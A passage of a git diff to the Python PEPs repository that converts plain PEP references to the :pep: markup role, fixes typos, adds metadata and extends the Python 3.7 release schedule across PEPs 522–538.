PEP Rejection ============= For the reference implementation, Guido rejected this PEP in favour of the -unconditional implicit blocking proposal in PEP 524 (which brings CPython's +unconditional implicit blocking proposal in :pep:`524` (which brings CPython's behaviour on Linux into line with its behaviour on other operating systems). This means any further discussion of appropriate default behaviour for @@ -86,7 +86,7 @@ CPython interpreter initialization and ``random`` module initialization have already been updated to gracefully fall back to alternative seeding options if the system random number generator is not ready. -This PEP does not compete with the proposal in PEP 524 to add an +This PEP does not compete with the proposal in :pep:`524` to add an ``os.getrandom()`` API to expose the ``getrandom`` syscall on platforms that offer it. There is sufficient motive for adding that API in the ``os`` module's role as a thin wrapper around potentially platform dependent operating system @@ -109,7 +109,7 @@ This behaviour will then propagate through to the existing ``random.SystemRandom``, which provides a relatively thin wrapper around ``os.urandom()`` that matches the ``random.Random()`` API. -However, the new ``secrets`` module introduced by PEP 506 will be updated to +However, the new ``secrets`` module introduced by :pep:`506` will be updated to catch the new exception and implicitly wait for the system random number generator if the exception is ever encountered. @@ -288,7 +288,7 @@ security sensitive operations in Python. To help improve API discoverability and make it clearer that secrecy and simulation are not the same problem (even though they both involve -random numbers), PEP 506 collected several of the one line recipes based +random numbers), :pep:`506` collected several of the one line recipes based on the lower level ``os.urandom()`` API into a new ``secrets`` module. However, this guidance has also come with a longstanding caveat: developers @@ -355,7 +355,7 @@ might unexpectedly start blocking waiting for the system RNG to be available. Backwards Compatibility Impact Assessment ========================================= -Similar to PEP 476, this is a proposal to turn a previously silent security +Similar to :pep:`476`, this is a proposal to turn a previously silent security failure into a noisy exception that requires the application developer to make an explicit decision regarding the behaviour they desire. @@ -675,7 +675,7 @@ decision has to be made: imported) * servicing user calls to the ``os.urandom`` public API * the higher level ``random.SystemRandom`` public API -* the new ``secrets`` module public API added by PEP 506 +* the new ``secrets`` module public API added by :pep:`506` Previously, these five places all used the same underlying code, and thus made this decision in the same way. @@ -714,7 +714,7 @@ as a side-effect of importing the random module. Independently of this PEP, the first two cases have already been updated to never block, regardless of the behaviour of ``os.urandom()``. -Where PEP 524 proposes to make all 3 of the latter cases block implicitly, +Where :pep:`524` proposes to make all 3 of the latter cases block implicitly, this PEP proposes that approach only for the last case (the ``secrets``) module, with ``os.urandom()`` and ``random.SystemRandom()`` instead raising an exception when they detect that the underlying operating system call diff --git a/pep-0523.txt b/pep-0523.txt index 3219661e2a2..43c43f4193c 100644 --- a/pep-0523.txt +++ b/pep-0523.txt @@ -245,7 +245,7 @@ It should be mentioned that the Pyston team was consulted on an earlier version of this PEP that was more JIT-specific and they were not interested in utilizing the changes proposed because they want control over memory layout they had no interest in directly supporting -CPython itself. An informal discusion with a developer on the PyPy +CPython itself. An informal discussion with a developer on the PyPy team led to a similar comment. Numba [#numba]_, on the other hand, suggested that they would be diff --git a/pep-0524.txt b/pep-0524.txt index 6719fcd6a44..03ff8d89c40 100644 --- a/pep-0524.txt +++ b/pep-0524.txt @@ -46,8 +46,8 @@ counter-measure against the hash denial-of-service (hash DoS), see: * `Issue #13703: Hash collision security issue `_ -* `PEP 456: Secure and interchangeable hash algorithm - `_ +* :pep:`PEP 456: Secure and interchangeable hash algorithm + <456>` Importing the ``random`` module creates an instance of ``random.Random``: ``random._inst``. On Python 3.5, random.Random @@ -405,8 +405,8 @@ Raise BlockingIOError in os.urandom() Proposition ^^^^^^^^^^^ -`PEP 522: Allow BlockingIOError in security sensitive APIs on Linux -`_. +:pep:`PEP 522: Allow BlockingIOError in security sensitive APIs on Linux +<522>`. Python should not decide for the developer how to handle `The bug`_: raising immediately a ``BlockingIOError`` if ``os.urandom()`` is going to diff --git a/pep-0525-1.png b/pep-0525-1.png index 0940967a4e8..356386fbb2a 100644 Binary files a/pep-0525-1.png and b/pep-0525-1.png differ diff --git a/pep-0525.txt b/pep-0525.txt index 6ddf418fb09..dc7613b394c 100644 --- a/pep-0525.txt +++ b/pep-0525.txt @@ -3,7 +3,7 @@ Title: Asynchronous Generators Version: $Revision$ Last-Modified: $Date$ Author: Yury Selivanov -Discussions-To: +Discussions-To: python-dev@python.org Status: Final Type: Standards Track Content-Type: text/x-rst @@ -15,7 +15,7 @@ Post-History: 02-Aug-2016, 23-Aug-2016, 01-Sep-2016, 06-Sep-2016 Abstract ======== -PEP 492 introduced support for native coroutines and ``async``/``await`` +:pep:`492` introduced support for native coroutines and ``async``/``await`` syntax to Python 3.5. It is proposed here to extend Python's asynchronous capabilities by adding support for *asynchronous generators*. @@ -24,7 +24,7 @@ asynchronous capabilities by adding support for Rationale and Goals =================== -Regular generators (introduced in PEP 255) enabled an elegant way of +Regular generators (introduced in :pep:`255`) enabled an elegant way of writing complex *data producers* and have them behave like an iterator. However, currently there is no equivalent concept for the *asynchronous @@ -33,7 +33,7 @@ data producers unnecessarily complex, as one must define a class that implements ``__aiter__`` and ``__anext__`` to be able to use it in an ``async for`` statement. -Essentially, the goals and rationale for PEP 255, applied to the +Essentially, the goals and rationale for :pep:`255`, applied to the asynchronous execution case, hold true for this proposal as well. Performance is an additional point for this proposal: in our testing of @@ -80,7 +80,7 @@ This proposal introduces the concept of *asynchronous generators* to Python. This specification presumes knowledge of the implementation of -generators and coroutines in Python (PEP 342, PEP 380 and PEP 492). +generators and coroutines in Python (:pep:`342`, :pep:`380` and :pep:`492`). Asynchronous Generators @@ -107,7 +107,7 @@ We propose to use the same approach to define The result of calling an *asynchronous generator function* is an *asynchronous generator object*, which implements the asynchronous -iteration protocol defined in PEP 492. +iteration protocol defined in :pep:`492`. It is a ``SyntaxError`` to have a non-empty ``return`` statement in an asynchronous generator. @@ -143,7 +143,7 @@ iterate over a simple asynchronous generator:: Finalization ------------ -PEP 492 requires an event loop or a scheduler to run coroutines. +:pep:`492` requires an event loop or a scheduler to run coroutines. Because asynchronous generators are meant to be used from coroutines, they also require an event loop to run and finalize them. @@ -389,6 +389,7 @@ iterated: .. image:: pep-0525-1.png :align: center :width: 80% + :class: invert-in-dark-mode PyAsyncGenASend and PyAsyncGenAThrow @@ -416,7 +417,7 @@ The data flow is defined as follows: unwrapped value as an argument. 2. When ``PyAsyncGenASend.throw(*exc)`` is called for the first time, - ``*exc`` is throwed into the parent ``agen`` object. + ``*exc`` is thrown into the parent ``agen`` object. Subsequent iterations over the ``PyAsyncGenASend`` objects, push ``None`` to ``agen``. @@ -517,7 +518,7 @@ Design Considerations ``aiter()`` and ``anext()`` builtins ------------------------------------ -Originally, PEP 492 defined ``__aiter__`` as a method that should +Originally, :pep:`492` defined ``__aiter__`` as a method that should return an *awaitable* object, resulting in an asynchronous iterator. However, in CPython 3.5.2, ``__aiter__`` was redefined to return @@ -618,7 +619,7 @@ print numbers from 0 to 9 with one second delay):: Acceptance ========== -PEP 525 was accepted by Guido, September 6, 2016 [2]_. +:pep:`525` was accepted by Guido, September 6, 2016 [2]_. Implementation diff --git a/pep-0526.txt b/pep-0526.txt index 6308b329068..5e440ebf298 100644 --- a/pep-0526.txt +++ b/pep-0526.txt @@ -36,7 +36,7 @@ read the summary of `rejected`_ ideas listed at the end of this PEP. Abstract ======== -PEP 484 introduced type hints, a.k.a. type annotations. While its +:pep:`484` introduced type hints, a.k.a. type annotations. While its main focus was function annotations, it also introduced the notion of type comments to annotate variables:: @@ -61,7 +61,7 @@ instead of expressing them through comments:: class Starship: stats: ClassVar[Dict[str, int]] = {} -PEP 484 explicitly states that type comments are intended to help with +:pep:`484` explicitly states that type comments are intended to help with type inference in complex cases, and this PEP does not change this intention. However, since in practice type comments have also been adopted for class variables and instance variables, this PEP also @@ -107,7 +107,7 @@ The majority of these issues can be alleviated by making the syntax a core part of the language. Moreover, having a dedicated annotation syntax for class and instance variables (in addition to method annotations) will pave the way to static duck-typing as a complement to nominal typing defined -by PEP 484. +by :pep:`484`. Non-goals ********* @@ -141,7 +141,7 @@ party type checker:: other_var: int = 'a' # Flagged as error by type checker, # but OK at runtime. -This syntax does not introduce any new semantics beyond PEP 484, so that +This syntax does not introduce any new semantics beyond :pep:`484`, so that the following three statements are equivalent:: var = value # type: annotation @@ -153,7 +153,7 @@ in different contexts and their runtime effects. We also suggest how type checkers might interpret annotations, but compliance to these suggestions is not mandatory. (This is in line -with the attitude towards compliance in PEP 484.) +with the attitude towards compliance in :pep:`484`.) Global and local variable annotations ************************************* @@ -407,7 +407,7 @@ Changes to Standard Library and Documentation - Recommended guidelines for using annotations will be added to the documentation, containing a pedagogical recapitulation of specifications - described in this PEP and in PEP 484. In addition, a helper script for + described in this PEP and in :pep:`484`. In addition, a helper script for translating type comments into type annotations will be published separately from the standard library. @@ -517,7 +517,7 @@ Rejected/Postponed Proposals - **Should we introduce variable annotations at all?** Variable annotations have *already* been around for almost two years - in the form of type comments, sanctioned by PEP 484. They are + in the form of type comments, sanctioned by :pep:`484`. They are extensively used by third party type checkers (mypy, pytype, PyCharm, etc.) and by projects using the type checkers. However, the comment syntax has many downsides listed in Rationale. This PEP is @@ -632,11 +632,11 @@ Rejected/Postponed Proposals - **Do not evaluate annotations, treat them as strings:** This would be inconsistent with the behavior of function annotations that are always evaluated. Although this might be reconsidered in future, - it was decided in PEP 484 that this would have to be a separate PEP. + it was decided in :pep:`484` that this would have to be a separate PEP. - **Annotate variable types in class docstring:** Many projects already use various docstring conventions, often without - much consistency and generally without conforming to the PEP 484 annotation + much consistency and generally without conforming to the :pep:`484` annotation syntax yet. Also this would require a special sophisticated parser. This, in turn, would defeat the purpose of the PEP -- collaborating with the third party type checking tools. diff --git a/pep-0527.txt b/pep-0527.txt index 53205c730ce..bd0eb66cae0 100644 --- a/pep-0527.txt +++ b/pep-0527.txt @@ -7,6 +7,7 @@ BDFL-Delegate: Nick Coghlan Discussions-To: distutils-sig@python.org Status: Final Type: Process +Topic: Packaging Content-Type: text/x-rst Created: 23-Aug-2016 Post-History: 23-Aug-2016 @@ -96,7 +97,7 @@ a library using Python 3.5, then ``bdist_dumb`` will produce a ``.tar.gz`` file named something like ``exampleproject-1.0.macosx-10.11-x86_64.tar.gz``. Right off the bat this file name is somewhat difficult to differentiate from an ``sdist`` since they both use the same file extension (and with the legacy pre -PEP 440 versions, ``1.0-macosx-10.11-x86_64`` is a valid, although quite silly, +:pep:`440` versions, ``1.0-macosx-10.11-x86_64`` is a valid, although quite silly, version number). However, once you open up the created ``.tar.gz``, you'd find that there is no metadata inside that could be used for things like dependency discovery and in fact, it is quite simply a tarball containing hardcoded paths diff --git a/pep-0530.txt b/pep-0530.txt index 34b62b3f2f7..a646f9f4cf0 100644 --- a/pep-0530.txt +++ b/pep-0530.txt @@ -3,7 +3,7 @@ Title: Asynchronous Comprehensions Version: $Revision$ Last-Modified: $Date$ Author: Yury Selivanov -Discussions-To: +Discussions-To: python-dev@python.org Status: Final Type: Standards Track Content-Type: text/x-rst @@ -15,7 +15,7 @@ Post-History: 03-Sep-2016 Abstract ======== -PEP 492 and PEP 525 introduce support for native coroutines and +:pep:`492` and :pep:`525` introduce support for native coroutines and asynchronous generators using ``async`` / ``await`` syntax. This PEP proposes to add asynchronous versions of list, set, dict comprehensions and generator expressions. @@ -55,7 +55,7 @@ Asynchronous Comprehensions --------------------------- We propose to allow using ``async for`` inside list, set and dict -comprehensions. Pending PEP 525 approval, we can also allow creation +comprehensions. Pending :pep:`525` approval, we can also allow creation of asynchronous generator expressions. Examples: @@ -131,7 +131,7 @@ The proposal is fully backwards compatible. Acceptance ========== -PEP 530 was accepted by Guido, September 6, 2016 [1]_. +:pep:`530` was accepted by Guido, September 6, 2016 [1]_. Implementation diff --git a/pep-0531.txt b/pep-0531.txt index d45ef45bc00..f7ed2d237d2 100644 --- a/pep-0531.txt +++ b/pep-0531.txt @@ -13,7 +13,7 @@ Post-History: 28-Oct-2016 Abstract ======== -Inspired by PEP 505 and the related discussions, this PEP proposes the addition +Inspired by :pep:`505` and the related discussions, this PEP proposes the addition of two new control flow operators to Python: * Existence-checking precondition ("exists-then"): ``expr1 ?then expr2`` @@ -97,14 +97,14 @@ make sense, and it is accordingly withdrawn. However, the discussion of the proposal did prompt consideration of a potential protocol based approach to make the existing ``and``, ``or`` and ``if-else`` operators more flexible [6_] without introducing any new syntax, so I'll be -writing that up as another possible alternative to PEP 505. +writing that up as another possible alternative to :pep:`505`. Relationship with other PEPs ============================ While this PEP was inspired by and builds on Mark Haase's excellent work in -putting together PEP 505, it ultimately competes with that PEP due to +putting together :pep:`505`, it ultimately competes with that PEP due to significant differences in the specifics of the proposed syntax and semantics for the feature. @@ -269,7 +269,7 @@ appropriate operation (e.g. ``math.isnan``, ``cmath.isnan``, Similarly, it seems reasonable to declare that the other placeholder builtin singletons, ``Ellipsis`` and ``NotImplemented``, also qualify as objects that -represent the absence of data moreso than they represent data. +represent the absence of data more so than they represent data. Proposed symbolic notation @@ -313,7 +313,7 @@ truth check". Taking that path would also have the advantage of aligning Python's syntax with corresponding syntax in other languages that offer similar features. -Drawing from the existing summary in PEP 505 and the Wikipedia articles on +Drawing from the existing summary in :pep:`505` and the Wikipedia articles on the "safe navigation operator [1]_ and the "null coalescing operator" [2]_, we see: @@ -608,7 +608,7 @@ sufficient to guide the creation of a reference implementation. Implementation ============== -As with PEP 505, actual implementation has been deferred pending in-principle +As with :pep:`505`, actual implementation has been deferred pending in-principle interest in the idea of adding these operators - the implementation isn't the hard part of these proposals, the hard part is deciding whether or not this is a change where the long term benefits for new and existing Python users diff --git a/pep-0532.txt b/pep-0532.txt index fa92016d38e..5a67830b387 100644 --- a/pep-0532.txt +++ b/pep-0532.txt @@ -9,7 +9,7 @@ Type: Standards Track Content-Type: text/x-rst Created: 30-Oct-2016 Python-Version: 3.8 -Post-History: 5-Nov-2016 +Post-History: 05-Nov-2016 PEP Deferral ============ @@ -20,7 +20,7 @@ earliest. Abstract ======== -Inspired by PEP 335, PEP 505, PEP 531, and the related discussions, this PEP +Inspired by :pep:`335`, :pep:`505`, :pep:`531`, and the related discussions, this PEP proposes the definition of a new circuit breaking protocol (using the method names ``__then__`` and ``__else__``) that provides a common underlying semantic foundation for: @@ -28,8 +28,8 @@ semantic foundation for: * conditional expressions: ``LHS if COND else RHS`` * logical conjunction: ``LHS and RHS`` * logical disjunction: ``LHS or RHS`` -* the None-aware operators proposed in PEP 505 -* the rich comparison chaining model proposed in PEP 535 +* the None-aware operators proposed in :pep:`505` +* the rich comparison chaining model proposed in :pep:`535` Taking advantage of the new protocol, it further proposes that the definition of conditional expressions be revised to also permit the use of ``if`` and @@ -69,7 +69,7 @@ the key proposals are discussed below. PEP 531: Existence checking protocol ------------------------------------ -This PEP is a direct successor to PEP 531, replacing the existence checking +This PEP is a direct successor to :pep:`531`, replacing the existence checking protocol and the new ``?then`` and ``?else`` syntactic operators defined there with the new circuit breaking protocol and adjustments to conditional expressions and the ``not`` operator. @@ -78,7 +78,7 @@ expressions and the ``not`` operator. PEP 505: None-aware operators ----------------------------- -This PEP complements the None-aware operator proposals in PEP 505, by offering +This PEP complements the None-aware operator proposals in :pep:`505`, by offering an underlying protocol-driven semantic framework that explains their short-circuiting behaviour as highly optimised syntactic sugar for particular uses of conditional expressions. @@ -102,24 +102,24 @@ more general protocol-driven proposal in this PEP. PEP 335: Overloadable Boolean operators --------------------------------------- -PEP 335 proposed the ability to overload the short-circuiting ``and`` and +:pep:`335` proposed the ability to overload the short-circuiting ``and`` and ``or`` operators directly, with the ability to overload the semantics of comparison chaining being one of the consequences of that change. The proposal in an earlier version of this PEP to instead handle the element-wise comparison use case by changing the semantic definition of comparison chaining -is drawn directly from Guido's rejection of PEP 335 [1_]. +is drawn directly from Guido's rejection of :pep:`335` [1_]. However, initial feedback on this PEP indicated that the number of different proposals that it covered made it difficult to read, so that part of the -proposal has been separated out as PEP 535. +proposal has been separated out as :pep:`535`. PEP 535: Rich comparison chaining --------------------------------- -As noted above, PEP 535 is a proposal to build on the circuit breaking protocol +As noted above, :pep:`535` is a proposal to build on the circuit breaking protocol defined in this PEP in order to expand the rich comparison support introduced -in PEP 207 to also handle comparison chaining operations like +in :pep:`207` to also handle comparison chaining operations like ``LEFT_BOUND < VALUE < RIGHT_BOUND``. @@ -167,7 +167,7 @@ the semantics of conditional expressions. Rather, it comes from the proposed addition of ``if`` and ``else`` as general purpose protocol driven short-circuiting operators to complement the existing ``True`` and ``False`` based short-circuiting operators (``or`` and ``and``, respectively) as well -as the ``None`` based short-circuiting operator proposed in PEP 505 (``??``). +as the ``None`` based short-circuiting operator proposed in :pep:`505` (``??``). Together, these two operators would be known as the circuit breaking operators. @@ -192,7 +192,7 @@ expressions themselves do. This grammar definition means precedence/associativity in the otherwise ambiguous case of ``expr1 if cond else expr2 else expr3`` resolves as ``(expr1 if cond else expr2) else epxr3``. However, a guideline will also be -added to PEP 8 to say "don't do that", as such a construct will be inherently +added to :pep:`8` to say "don't do that", as such a construct will be inherently confusing for readers, regardless of how the interpreter executes it. The right-associative circuit breaking operator (``LHS if RHS``) would then @@ -397,7 +397,7 @@ breaking operator instead: None-aware operators -------------------- -If both this PEP and PEP 505's None-aware operators were accepted, then the +If both this PEP and :pep:`505`'s None-aware operators were accepted, then the proposed ``is_sentinel`` and ``is_not_sentinel`` circuit breaker factories would be used to encapsulate the notion of "None checking": seeing if a value is ``None`` and either falling back to an alternative value (an operation known @@ -438,7 +438,7 @@ behaviour of the operators at runtime. Rich chained comparisons ------------------------ -Refer to PEP 535 for a detailed discussion of this possible use case. +Refer to :pep:`535` for a detailed discussion of this possible use case. Other conditional constructs @@ -471,7 +471,7 @@ rather than assigning ``CONDITION`` to the given name directly. Style guide recommendations --------------------------- -The following additions to PEP 8 are proposed in relation to the new features +The following additions to :pep:`8` are proposed in relation to the new features introduced by this PEP: * Avoid combining conditional expressions (``if-else``) and the standalone @@ -490,7 +490,7 @@ Rationale Adding new operators -------------------- -Similar to PEP 335, early drafts of this PEP focused on making the existing +Similar to :pep:`335`, early drafts of this PEP focused on making the existing ``and`` and ``or`` operators less rigid in their interpretation, rather than proposing new operators. However, this proved to be problematic for a few key reasons: @@ -554,7 +554,7 @@ operators are combined with the explicit ``if-else`` conditional expression syntax. The PEP handles that ambiguity by explicitly specifying how it should be -handled by interpreter implementers, but proposing to point out in PEP 8 +handled by interpreter implementers, but proposing to point out in :pep:`8` that even though interpreters will understand it, human readers probably won't, and hence it won't be a good idea to use both conditional expressions and the circuit breaking operators in a single expression. @@ -660,12 +660,12 @@ raised when discussing PEPs 335, 505 and 531. One consequence of this approach is that this PEP *on its own* doesn't produce much in the way of direct benefits to end users aside from making it possible -to omit some common ``None if `` prefixes and `` else None`` suffixes from +to omit some common ``None if`` prefixes and ``else None`` suffixes from particular forms of conditional expression. Instead, what it mainly provides is a common foundation that would allow the -None-aware operator proposals in PEP 505 and the rich comparison chaining -proposal in PEP 535 to be pursued atop a common underlying semantic framework +None-aware operator proposals in :pep:`505` and the rich comparison chaining +proposal in :pep:`535` to be pursued atop a common underlying semantic framework that would also be shared with conditional expressions and the existing ``and`` and ``or`` operators. @@ -681,6 +681,7 @@ breaking protocol (although it glosses over the technical detail of looking up the special methods via the type rather than the instance): .. image:: pep-0532/circuit-breaking-protocol.svg + :class: invert-in-dark-mode :alt: diagram of circuit breaking protocol applied to ternary expression We will work through the following expression:: @@ -759,13 +760,13 @@ expression as follows:: >>> maybe_value = is_not_none(data.get("key")) >>> maybe_value if maybe_value else y -If `bool(maybe_value)`` is ``True``, then the expression short-circuits and +If ``bool(maybe_value)`` is ``True``, then the expression short-circuits and the interpreter calls ``type(maybe_value).__else__(maybe_value, maybe_value)``. The implementation of ``types.CircuitBreaker.__then__`` detects that the instance method has received itself as its argument and returns the wrapped value (i.e. ``data.get("key")``) rather than the circuit breaker. -If `bool(maybe_value)`` is ``True``, the interpreter calls +If ``bool(maybe_value)`` is ``True``, the interpreter calls ``type(maybe_value).__else__(maybe_value, y)``. The implementation of ``types.CircuitBreaker.__else__`` doesn't see anything that indicates short-circuiting has taken place, and hence returns ``y``. @@ -865,7 +866,7 @@ created explicitly via API calls, and are never produced implicitly. Implementation ============== -As with PEP 505, actual implementation has been deferred pending in-principle +As with :pep:`505`, actual implementation has been deferred pending in-principle interest in the idea of making these changes. ...TBD... diff --git a/pep-0533.txt b/pep-0533.txt index a0325bdf0cc..1299a03d185 100644 --- a/pep-0533.txt +++ b/pep-0533.txt @@ -37,13 +37,13 @@ Background and motivation ========================= Python iterables often hold resources which require cleanup. For -example: ``file`` objects need to be closed; the `WSGI spec -`_ adds a ``close`` method +example: ``file`` objects need to be closed; the :pep:`WSGI spec +<333>` adds a ``close`` method on top of the regular iterator protocol and demands that consumers call it at the appropriate time (though forgetting to do so is a `frequent source of bugs `_); -and PEP 342 (based on PEP 325) extended generator objects to add a +and :pep:`342` (based on :pep:`325`) extended generator objects to add a ``close`` method to allow generators to clean up after themselves. Generally, objects that need to clean up after themselves also define @@ -59,12 +59,12 @@ several cases: file descriptor exhaustion, or WSGI timing middleware that collects bogus times. -- Async generators (PEP 525) can only perform cleanup under the +- Async generators (:pep:`525`) can only perform cleanup under the supervision of the appropriate coroutine runner. ``__del__`` doesn't have access to the coroutine runner; indeed, the coroutine runner might be garbage collected before the generator object. So relying on the garbage collector is effectively impossible without some kind - of language extension. (PEP 525 does provide such an extension, but + of language extension. (:pep:`525` does provide such an extension, but it has a number of limitations that this proposal fixes; see the "alternatives" section below for discussion.) @@ -180,14 +180,14 @@ Alternatives PEP 525 asyncgen hooks ---------------------- -PEP 525 proposes a `set of global thread-local hooks managed by new -``sys.{get/set}_asyncgen_hooks()`` functions -`_, which +:pep:`PEP 525 proposes a set of global thread-local hooks +<525#finalization>` +managed by new ``sys.{get/set}_asyncgen_hooks()`` functions, which allow event loops to integrate with the garbage collector to run -cleanup for async generators. In principle, this proposal and PEP 525 +cleanup for async generators. In principle, this proposal and :pep:`525` are complementary, in the same way that ``with`` blocks and ``__del__`` are complementary: this proposal takes care of ensuring -deterministic cleanup in most cases, while PEP 525's GC hooks clean up +deterministic cleanup in most cases, while :pep:`525`'s GC hooks clean up anything that gets missed. But ``__aiterclose__`` provides a number of advantages over GC hooks alone: @@ -609,12 +609,11 @@ as:: operations.iterclose(iter(iterable)) map_chaining_exceptions(iterclose_iterable, iterables, last_exc=e) -In some cases this requires some subtlety; for example, -```itertools.tee`` -`_ +In some cases this requires some subtlety; for example, `itertools.tee`_ should not call ``__iterclose__`` on the underlying iterator until it has been called on *all* of the clone iterators. +.. _itertools.tee: https://docs.python.org/3/library/itertools.html#itertools.tee Example / Rationale ------------------- @@ -731,7 +730,7 @@ very soon), so the async changes do not produce any backwards incompatibilities. (There is existing code using async iterators, but using the new async for loop on an old async iterator is harmless, because old async iterators don't have ``__aiterclose__``.) In -addition, PEP 525 was accepted on a provisional basis, and async +addition, :pep:`525` was accepted on a provisional basis, and async generators are by far the biggest beneficiary of this PEP's proposed changes. Therefore, I think we should strongly consider enabling ``__aiterclose__`` for ``async for`` loops and async generators ASAP, diff --git a/pep-0535.txt b/pep-0535.txt index ccb028f043b..7d410a15188 100644 --- a/pep-0535.txt +++ b/pep-0535.txt @@ -20,8 +20,8 @@ earliest. Abstract ======== -Inspired by PEP 335, and building on the circuit breaking protocol described -in PEP 532, this PEP proposes a change to the definition of chained comparisons, +Inspired by :pep:`335`, and building on the circuit breaking protocol described +in :pep:`532`, this PEP proposes a change to the definition of chained comparisons, where the comparison chaining will be updated to use the left-associative circuit breaking operator (``else``) rather than the logical disjunction operator (``and``) if the left hand comparison returns a circuit breaker as @@ -37,13 +37,13 @@ or tautologically returning ``True`` (indicating a non-empty matrix). Relationship with other PEPs ============================ -This PEP has been extracted from earlier iterations of PEP 532, as a +This PEP has been extracted from earlier iterations of :pep:`532`, as a follow-on use case for the circuit breaking protocol, rather than an essential part of its introduction. The specific proposal in this PEP to handle the element-wise comparison use case by changing the semantic definition of comparison chaining is drawn -directly from Guido's rejection of PEP 335. +directly from Guido's rejection of :pep:`335`. Specification @@ -59,7 +59,7 @@ is currently roughly semantically equivalent to:: _lhs_result = LEFT_BOUND LEFT_OP _expr _expr_result = _lhs_result and (_expr RIGHT_OP RIGHT_BOUND) -Using the circuit breaking concepts introduced in PEP 532, this PEP proposes +Using the circuit breaking concepts introduced in :pep:`532`, this PEP proposes that comparison chaining be changed to explicitly check if the left comparison returns a circuit breaker, and if so, use ``else`` rather than ``and`` to implement the comparison chaining:: @@ -81,7 +81,7 @@ operations would be the same as the existing expansion for ``and``. Rationale ========= -In ultimately rejecting PEP 335, Guido van Rossum noted [1_]: +In ultimately rejecting :pep:`335`, Guido van Rossum noted [1_]: The NumPy folks brought up a somewhat separate issue: for them, the most common use case is chained comparisons (e.g. A < B < C). @@ -171,7 +171,7 @@ Implementation ============== Actual implementation has been deferred pending in-principle interest in the -idea of making the changes proposed in PEP 532. +idea of making the changes proposed in :pep:`532`. ...TBD... diff --git a/pep-0536.txt b/pep-0536.txt index db012665d79..f4a6ba3c690 100644 --- a/pep-0536.txt +++ b/pep-0536.txt @@ -13,13 +13,13 @@ Post-History: 12-Dec-2016 Abstract ======== -PEP 498 introduced Literal String Interpolation (or “f-strings”). +:pep:`498` introduced Literal String Interpolation (or “f-strings”). The expression portions of those literals however are subject to certain restrictions. This PEP proposes a formal grammar lifting those restrictions, promoting “f-strings” to “f expressions” or f-literals. -This PEP expands upon the f-strings introduced by PEP 498, -so this text requires familiarity with PEP 498. +This PEP expands upon the f-strings introduced by :pep:`498`, +so this text requires familiarity with :pep:`498`. PEP Status ========== @@ -81,7 +81,7 @@ Rationale The restrictions mentioned in Motivation_ are non-obvious and counter-intuitive unless the user is familiar with the f-literals’ implementation details. -As mentioned, a previous version of PEP 498 allowed escape sequences +As mentioned, a previous version of :pep:`498` allowed escape sequences anywhere in f-strings, including as ways to encode the braces delimiting the expression portions and in their code. They would be expanded before the code is parsed, which would have had several important ramifications: @@ -124,7 +124,7 @@ expressions instead of just variable names. [2]_ Specification ============= -PEP 498 specified f-strings as the following, but places restrictions on it:: +:pep:`498` specified f-strings as the following, but places restrictions on it:: f ' { } ... ' @@ -143,7 +143,7 @@ as explained below: syntactically valid. The first ``':'`` or ``'!'`` that is not part of an expression has to be followed a valid coercion or format specifier. -A remaining restriction not explicitly mentioned by PEP 498 is line breaks +A remaining restriction not explicitly mentioned by :pep:`498` is line breaks in expression portions. Since strings delimited by single ``'`` or ``"`` characters are expected to be single line, line breaks remain illegal in expression portions of single line strings. diff --git a/pep-0537.txt b/pep-0537.txt index 87c5c838353..b7e5039eabe 100644 --- a/pep-0537.txt +++ b/pep-0537.txt @@ -129,7 +129,22 @@ releases are planned. - 3.7.10 final: 2021-02-15 -3.7.11 and beyond schedule +3.7.11 schedule +--------------- + +- 3.7.11 final: 2021-06-28 + +3.7.12 schedule +--------------- + +- 3.7.12 final: 2021-09-04 + +3.7.13 schedule +--------------- + +- 3.7.13 final: 2022-03-16 + +3.7.14 and beyond schedule -------------------------- Security fixes only, as needed, until 2023-06 diff --git a/pep-0538.txt b/pep-0538.txt index 1fca7afc3ba..13d51b20836 100644 --- a/pep-0538.txt +++ b/pep-0538.txt @@ -9,10 +9,10 @@ Type: Standards Track Content-Type: text/x-rst Created: 28-Dec-2016 Python-Version: 3.7 -Post-History: 03-Jan-2017 (linux-sig), - 07-Jan-2017 (python-ideas), - 05-Mar-2017 (python-dev), - 09-May-2017 (python-dev) +Post-History: 03-Jan-2017, + 07-Jan-2017, + 05-Mar-2017, + 09-May-2017 Resolution: https://mail.python.org/pipermail/python-dev/2017-May/148035.html Abstract @@ -26,7 +26,7 @@ implies a default text encoding of ASCII, which is entirely inadequate for the development of networked services and client applications in a multilingual world. -PEP 540 proposes a change to CPython's handling of the legacy C locale such +:pep:`540` proposes a change to CPython's handling of the legacy C locale such that CPython will assume the use of UTF-8 in such environments, rather than persisting with the demonstrably problematic assumption of ASCII as an appropriate encoding for communicating with operating system interfaces. @@ -46,7 +46,7 @@ works, rather than relying primarily on existing configuration settings that are supported by Python versions prior to Python 3.7. Accordingly, this PEP proposes that independently of the UTF-8 mode proposed -in PEP 540, the way the CPython implementation handles the default C locale be +in :pep:`540`, the way the CPython implementation handles the default C locale be changed to be roughly equivalent to the following existing configuration settings (supported since Python 3.1):: @@ -70,7 +70,7 @@ With this change, any \*nix platform that does *not* offer at least one of the ``C.UTF-8``, ``C.utf8`` or ``UTF-8`` locales as part of its standard configuration would only be considered a fully supported platform for CPython 3.7+ deployments when a suitable locale other than the default ``C`` locale is -configured explicitly (e.g. ``en_AU.UTF-8``, ``zh_CN.gb18030``). If PEP 540 is +configured explicitly (e.g. ``en_AU.UTF-8``, ``zh_CN.gb18030``). If :pep:`540` is accepted in addition to this PEP, then pure Python modules would also be supported when using the proposed ``PYTHONUTF8`` mode, but expectations for full Unicode compatibility in extension modules would continue to be limited @@ -113,7 +113,7 @@ reported by ``sys.getfilesystemencoding()`` matches the encoding used during this early bootstrapping process. On Windows, the limitations of the ``mbcs`` format used by default in these -conversions proved sufficiently problematic that PEP 528 and PEP 529 were +conversions proved sufficiently problematic that :pep:`528` and :pep:`529` were implemented to bypass the operating system supplied interfaces for binary data handling and force the use of UTF-8 instead. @@ -149,7 +149,7 @@ following key calls to ``setlocale``: (This summary of the locale handling omits several technical details related to exactly where and when the text encoding declared as part of the locale -settings is used - see PEP 540 for further discussion, as these particular +settings is used - see :pep:`540` for further discussion, as these particular details matter more when decoupling CPython from the declared C locale than they do when overriding the locale with one based on UTF-8) @@ -197,11 +197,11 @@ more narrowly scoped ``LC_MESSAGES=C`` or ``LANGUAGE=en``. Relationship with other PEPs ============================ -This PEP shares a common problem statement with PEP 540 (improving Python 3's +This PEP shares a common problem statement with :pep:`540` (improving Python 3's behaviour in the default C locale), but diverges markedly in the proposed solution: -* PEP 540 proposes to entirely decouple CPython's default text encoding from +* :pep:`540` 